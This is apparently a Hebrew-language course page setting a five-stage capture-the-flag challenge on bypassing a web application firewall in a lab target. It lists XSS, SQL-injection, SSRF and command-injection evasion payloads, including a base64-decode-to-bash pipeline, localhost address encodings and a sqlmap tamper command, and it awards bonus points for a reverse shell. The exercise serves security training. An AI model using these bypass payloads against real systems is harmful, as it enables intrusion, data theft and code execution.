לדלג לתוכן

אתגר CTF - bypass WAF

מבוא

אתגר זה משלב את כל הטכניקות שנלמדו בפרק 8. תעברו חמישה שלבים, כל אחד דורש שילוב של טכניקות bypass שונות. כל שלב נותן דגל (flag) שמאפשר גישה לשלב הבא.


שלב 1 - זיהוי ה-WAF

תיאור

הגישו בקשה לאפליקציית היעד ב-http://TARGET:8080/ וזהו את ה-WAF.

משימות

  1. השתמשו ב-wafw00f לזיהוי ראשוני:

    wafw00f http://TARGET:8080/ -a -v
    

  2. בצעו זיהוי ידני:

    # Check headers
    curl -I http://TARGET:8080/
    
    # Send a malicious request and check the block page
    curl -v "http://TARGET:8080/?test=<script>alert(1)</script>"
    
    # Check cookies
    curl -v http://TARGET:8080/ 2>&1 | grep -i "set-cookie"
    

  3. זהו את רמת הפרנויה על ידי בדיקה שיטתית:

    import requests
    
    target = "http://TARGET:8080"
    
    # Payloads by paranoia level
    tests = {
        "PL1 - basic SQLi": "1' OR 1=1--",
        "PL1 - basic XSS": "<script>alert(1)</script>",
        "PL2 - encoded SQLi": "1' UNION ALL SELECT 1--",
        "PL2 - alt XSS": "<img src=x onerror=alert(1)>",
        "PL3 - suspicious chars": "SELECT FROM WHERE",
        "PL3 - any HTML tag": "<div onmouseover=x>",
        "PL4 - special chars": "(); {}",
    }
    
    for name, payload in tests.items():
        r = requests.get(f"{target}/search", params={"q": payload})
        status = "BLOCKED" if r.status_code == 403 else "PASSED"
        print(f"[{status}] {name}: {payload}")
    

  4. תעדו את הממצאים שלכם:

  5. סוג ה-WAF
  6. גרסה (אם זיהיתם)
  7. רמת פרנויה משוערת
  8. חוקים ספציפיים שזיהיתם

דגל שלב 1: לאחר זיהוי נכון, הגישו את התשובה ב-/api/stage1?waf=WAF_NAME&paranoia=LEVEL


שלב 2 - bypass XSS

תיאור

נקודת injection XSS מוחזרת (Reflected XSS) בכתובת:

http://TARGET:8080/search?q=USER_INPUT

הקלט מוזרק ישירות ל-HTML:

<div id="results">
    <p>You searched for: USER_INPUT</p>
</div>

ה-WAF חוסם:
- כל סוגי תגיות <script>
- Event handlers נפוצים: onerror, onload, onclick, onfocus
- פונקציות: alert, eval, Function
- javascript: protocol
- הencoding URL של הנ"ל

משימות

  1. נסו שרשרת encoding:

    # Double URL encoding
    # HTML entities
    # Unicode full-width
    # Combinations of the above
    

  2. נסו תגיות חלופיות עם event handlers חלופיים:

    <details open ontoggle=...>
    <svg onload=...>
    <marquee onstart=...>
    <math><mtext><img src=x onerror=...>
    

  3. נסו פונקציות חלופיות:

    confirm()
    prompt()
    [].constructor.constructor('...')()
    

  4. שלבו טכניקות:

  5. תגית חלופית + event handler חלופי + encoding של הפונקציה
  6. Unicode full-width + פונקציה חלופית
  7. HPP לפיצול הpayload

  8. המטרה: להריץ alert(document.domain) בדפדפן

דגל שלב 2: כאשר ה-JavaScript רץ, הוא חושף את הדגל בעמוד.


שלב 3 - bypass SQLi

תיאור

נקודת injection SQL בכתובת:

http://TARGET:8080/api/products?category=electronics

הquery בצד השרת:

SELECT id, name, price FROM products WHERE category = 'USER_INPUT'

טבלת flags:

CREATE TABLE flags (
    id INT,
    flag VARCHAR(64)
);

ה-WAF חוסם:
- UNION SELECT (כל הווריאציות הנפוצות)
- OR 1=1, AND 1=1
- information_schema
- SLEEP(), BENCHMARK()
- הערות /**/ ו---
- הencoding URL של הנ"ל

משימות

  1. נסו תחביר חלופי:

    -- Scientific notation
    'e0UNION SELECT ...
    
    -- Parentheses without spaces
    'UNION(SELECT(...))
    
    -- MySQL conditional comments
    '/*!50000UNION*//*!50000SELECT*/...
    
    -- Newlines instead of spaces
    '%0aUNION%0aSELECT%0a...
    

  2. שלבו עם טכניקות encoding:

    # Double URL encoding
    # Unicode
    # Hex strings
    

  3. שלבו עם טכניקות פרוטוקול:

    # Chunked encoding
    # Content-Type mismatch
    # HPP
    

  4. המטרה: חלצו את הדגל מטבלת flags:

    ' ??? UNION ??? SELECT ??? flag ??? FROM ??? flags ???
    

דגל שלב 3: תוכן שדה flag בטבלת flags.


שלב 4 - SSRF מאחורי WAF

תיאור

נקודת SSRF בכתובת:

POST /api/preview HTTP/1.1
Content-Type: application/json

{"url": "https://example.com"}

השרת מבצע בקשת HTTP ל-URL ומחזיר את התוכן. שרת פנימי רץ על http://127.0.0.1:9090/flag ומכיל את הדגל.

ה-WAF חוסם:
- 127.0.0.1 (כל הפורמטים הנפוצים)
- localhost
- 0.0.0.0
- 169.254.x.x
- כתובות פרטיות (10.x, 172.16.x, 192.168.x)
- file://, gopher://, dict://
- IPv6 [::1]

משימות

  1. נסו ייצוגים חלופיים של 127.0.0.1:

    urls = [
        "http://2130706433:9090/flag",
        "http://0x7f000001:9090/flag",
        "http://0177.0.0.1:9090/flag",
        "http://127.1:9090/flag",
        "http://0x7f.1:9090/flag",
        "http://[0:0:0:0:0:ffff:127.0.0.1]:9090/flag",
        "http://0:9090/flag",
        "http://0x00000000:9090/flag",
    ]
    

  2. נסו DNS-based bypass:

    http://127.0.0.1.nip.io:9090/flag
    http://localtest.me:9090/flag
    

  3. נסו redirect-based bypass:

  4. הקימו שרת שמחזיר:
    HTTP/1.1 302 Found
    Location: http://127.0.0.1:9090/flag
    
  5. שלחו ל-http://YOUR_SERVER/redirect

  6. שלבו עם טכניקות encoding:

    # URL encoding of the address
    # Unicode characters
    # Mixing
    

דגל שלב 4: תוכן התגובה מ-http://127.0.0.1:9090/flag.


שלב 5 - אתגר סופי - RCE

תיאור

השלב הסופי משלב את כל מה שלמדתם. נקודת injection פקודות:

POST /api/tools/dns HTTP/1.1
Content-Type: application/json

{"domain": "example.com"}

השרת מריץ:

nslookup USER_INPUT

הדגל נמצא בקובץ /flag.txt.

ה-WAF חוסם (רמת פרנויה 4):
- כל מפרידי פקודות: ;, |, &, `
- $( ו-)
- cat, head, tail, less, more, nl, tac
- /flag, flag.txt
- שורות חדשות בגוף JSON
- Wildcards: *, ?
- הencoding URL של כל הנ"ל
- הערות #
- Backticks

משימות

זה האתגר הקשה ביותר. תצטרכו לשלב מספר טכניקות:

  1. ברמת פרוטוקול:
  2. שנו Content-Type
  3. השתמשו ב-chunked encoding
  4. נסו HPP

  5. ברמת encoding:

  6. הencoding כפול
  7. Unicode
  8. Hex

  9. ברמת פקודה:

  10. הרחבת משתנים: $'\x63\x61\x74'
  11. מרכאות: c""at
  12. Base64: echo ... | base64 -d | bash
  13. Variable splitting: a=c;b=at;$a$b

  14. ברמת נתיב:

  15. Wildcards: /????.???
  16. Symlinks
  17. /proc/self/root/flag.txt

  18. רמזים:

  19. שורות חדשות בתוך JSON עשויות לעבוד אם מקודדות כ-\n (JSON escape) ולא כ-%0a
  20. חלק מה-WAFs לא בודקים גוף JSON באותו אופן כמו form-urlencoded
  21. נסו \n כמפריד פקודות בתוך JSON string
  22. שילוב של Variable expansion עם hex escape: $'\x63\x61\x74' = cat
  23. נתיב חלופי לקובץ: /proc/self/root/flag.txt או symlink

דגל שלב 5: תוכן /flag.txt.


משאבים מומלצים

מעבדות PortSwigger

אתגרי HackTheBox

  • WAF bypass challenges בקטגוריית Web
  • Machines עם WAF: Bounty Hunter, Nunchucks, Trick

כלים

  • wafw00f - זיהוי WAF
  • SQLMap - עם tamper scripts לbypass WAF:
    sqlmap -u "http://target/page?id=1" --tamper=space2comment,between,randomcase
    
  • Burp Suite + Hackvertor - שרשראות encoding
  • XSStrike - מציאת payloads XSS שעוקפים פילטרים

מערכת ניקוד

שלב ניקוד נושא
שלב 1 10 נקודות זיהוי WAF
שלב 2 20 נקודות הbypass ל-XSS
שלב 3 25 נקודות הbypass ל-SQLi
שלב 4 20 נקודות הbypass ל-SSRF
שלב 5 25 נקודות שילוב לכל טכניקות ל-RCE
סהכ 100 נקודות

בונוסים

  • שלב 2: הpayload XSS ללא תגיות כלל (בתוך הקשר JavaScript) - 5 נקודות בונוס
  • שלב 3: הextraction כל הנתונים מכל הטבלאות - 5 נקודות בונוס
  • שלב 5: ביצוע reverse shell - 10 נקודות בונוס

דוח

בסיום האתגר, הגישו דוח שמכיל:

  1. לכל שלב:
  2. הpayload שעבד
  3. רשימת הניסיונות שנחסמו
  4. הסבר למה הbypass עובדת
  5. הדגל

  6. סיכום:

  7. איזו טכניקה הכי יעילה באופן כללי?
  8. איזה שילוב טכניקות הכי עוצמתי?
  9. אילו המלצות הגנה הייתם נותנים?

  10. סקריפטים:

  11. צרפו את כל הסקריפטים שכתבתם
  12. תעדו כל סקריפט עם הסבר לשימוש